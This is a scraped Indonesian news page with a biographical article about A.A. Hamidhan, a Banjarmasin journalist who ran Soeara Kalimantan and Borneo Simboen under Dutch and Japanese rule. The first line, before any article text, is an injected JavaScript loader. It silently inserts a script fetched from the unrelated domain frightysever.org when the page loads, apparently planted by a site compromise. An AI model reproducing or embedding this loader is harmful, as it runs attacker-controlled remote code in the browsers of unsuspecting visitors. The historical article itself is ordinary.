(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

AA Hamidhan, Wartawan Kalsel Pembawa Kabar Kemerdekaan Bagi Masyarakat Kalimantan


Pada zaman Jepang, tepatnya pada tanggal 5 Maret 1942, Hamidhan menerbitkan surat kabar Kalimantan Raya.  Sebelumnya, yakni pada zaman Belanda surat kabar Soeara Kalimantan milik Anang Abdul Hamidhan tidak luput dari tindakan pengrusakan yang dilakukan oleh pasukan AVC (Algemene Vernielings Corps) Belanda oleh karena kerusuhan politik di Kota Banjarmasin yang terjadi pada tanggal 9-10 Februari 1942. Pengrusakan yang terjadi lebih parah jika dibandingkan dengan fasilitas khusus dan fasilitas umum lainnya yang ada di kota Banjarmasin.

Di masa pendudukan Jepang di Indonesia, Hamidhan yang menjadi editor dan penerbit harian Suara Kalimantan dan mingguan Suara Hulu Sungai, disuruh pihak Jepang untuk menerbitkan Kalimantan Raya yang diterbitkan pada Maret 1942.

Pada awal Mei 1942, seorang staf harian Jepang Asahi Simboen mengambil kontrol surat kabar Kalimantan Raya dan dirubah namanya menjadi Borneo Simboen.  Setelah surat kabarnya diambil kontrol, Hamidhan dipaksa menjadi pemimpin redaksi Borneo Simboen.

Saat menjabat sebagai pemimpin redaksi Borneo Simboen, Hamidhan merekrut wartawan-wartawan pribumi seperti AA Rivai (Pengganti Pengurus/Pimpinan Redaksi), Gusti Ahmad Soegian Noor, Fakhruddin Mohani (sepupu Hamidhan), Marwan Ali, Zaglulsyah, Ahmad Basuni, Sjahransjah, Abdul Wahab, Rosita Gani, Golek Kentjana, dan Janti Tajana.

Selama pendudukan Jepang ini, ia bekerja di bawah tekanan kolonial. Seperti, ketika bekerja di Surat Kabar Borneo Shimboen, Hamidhan sempat mendapat peringatan keras dari penguasa militer Dai Nippon. Ketika itu surat kabar yang dipimpinnya memuat berita seremonial pelepasan atau upacara perpisahan yang dilakukan oleh sejumlah penduduk di suatu kampung di daerah ini atas seregu bala tentara Dai Nippon yang akan pindah tugas ke kampung lain. Beruntung, pihak Jepang memaafkan dengan catatan kejadian tersebut tak terulang lagi.

Seusai Konferensi Meja Bundar, ia mengubah nama surat kabarnya Soeara Kalimantan jadi Indonesia Merdeka.  Pada tahun 1961, surat kabarnya dijual. Hamidhan mengaku kecewa dengan kebebasan pers yang ditekan pemerintah dan kurang dari semangat proklamasi.

Setelah surat kabarnya dijual, Hamidhan ditawari oleh keponakannya, Fachrudin Mahoni untuk mengawasi dua hotel miliknya, Hotel Banyuwangi di Banyuwangi dan Hotel Wisma Andhika di Surabaya. Satu atau dua bulan sekali Hamidhan balik ke Banjarmasin untuk menengok keluarganya, pekerjaan sebagai pengawas hotel dia lakukan sampai tahun 1975.

Dalam penulisan, secara gaya bahasa, Hamidhan seorang penulis yang santun. Kalau ingin keras, cukup dengan menyindir. Dikenal juga sebagai sosok yang telaten, pada banyak bagian tubuh tulisan, dikoreksi kata per kata dengan tulisan tangan. Setiap padanan kata dipikirkan masak-masak dampaknya ke benak pembaca.

Ada beragam hal yang ditulis Hamidhan dalam kumpulan artikel ini. Untuk menyebut beberapa saja, sebutlah artikel berjudul Dari Album Lama: Kongres Perserikatan Djoernalis Indonesia yang Kedua dan Terakhir. Hamidhan mengenang kongres wartawan di Bandung, 13 April 1938. Kebetulan sekali, beliau satu-satunya perwakilan dari Kalimantan.

Lalu, artikel berjudul Sekitar Mukaddimah UUD 1945: Untuk Memperlengkap Kebenaran Sejarah. Hamidhan menceritakan pada 18 Agustus 1945 saat Bung Karno membacakan Mukaddimah UUD 1945, sila pertama Pancasila sudah berubah.

Orang suka mengira peristiwa penghapusan tujuh kata—sering kita sebut Piagam Jakarta—itu terjadi dalam riuh. Nyatanya, menurut kesaksian Hamidhan, tidak demikian, semua berjalan lancar. Kalaupun ada perdebatan, itu mengikuti sesudahnya.

A.A. Hamidhan meninggal di Banjarmasin, 21 Agustus 1997 pada umur 88 tahun.  Mempunyai seorang istri bernama Fauziah. Beliau meninggalkan 7 orang anak dan 11 orang cucu (abdullah/net).

Reporter: abdullah/net
Editor: Abi Zarrin Al Ghifari

Page: 1 2

Desy Arfianty

Recent Posts

PT GEN Siapkan Ekspansi 2025 Kendaraan Angkutan Besar di Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - PT Global Equipment Nusatama (GEN) menggelar kicf off meeting evaluasi bersama jajaran… Read More

5 bulan ago

Wujud Negara Hadir, Pemerintah dan PLN Listriki 99,92 Persen Desa di Indonesia

KANALKALIMANTAN.COM, JAKARTA - Pemerintah melalui PT PLN (Persero) terus berupaya menghadirkan listrik di semua wilayah… Read More

5 bulan ago

Banjir di Cempaka, Angkat Perkakas Rumah Sejak Subuh

KANALKALIMANTAN.COM, BANJARBARU - Guyuran hujan yang tak berhenti sejak dini hari Selasa (21/1/2024) hingga siang… Read More

5 bulan ago

BPPW Kalsel Serahkan Stadion Demang Lehman ke Pemkab Banjar

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur dan Kepala Balai Prasarana Permukiman Wilayah (BPPW)… Read More

5 bulan ago

Ribuan Jemaah Haul ke-1 Guru Danau Berbaur Bersama Pejabat

KANALKALIMANTAN.COM, AMUNTAI - Ribuan jamaah dari berbagai wilayah dari dan luar Kalimantan Selatan menghadiri pelaksanaan… Read More

5 bulan ago

Cempaka Banjir, Hujan Guyur Banjarbaru Dini Hari hingga Siang

KANALKALIMANTAN.COM, BANJARBARU – Guyuran hujan lebat tengah melanda hampir seluruh wilayah di Kota Banjarbaru sejak… Read More

5 bulan ago

This website uses cookies.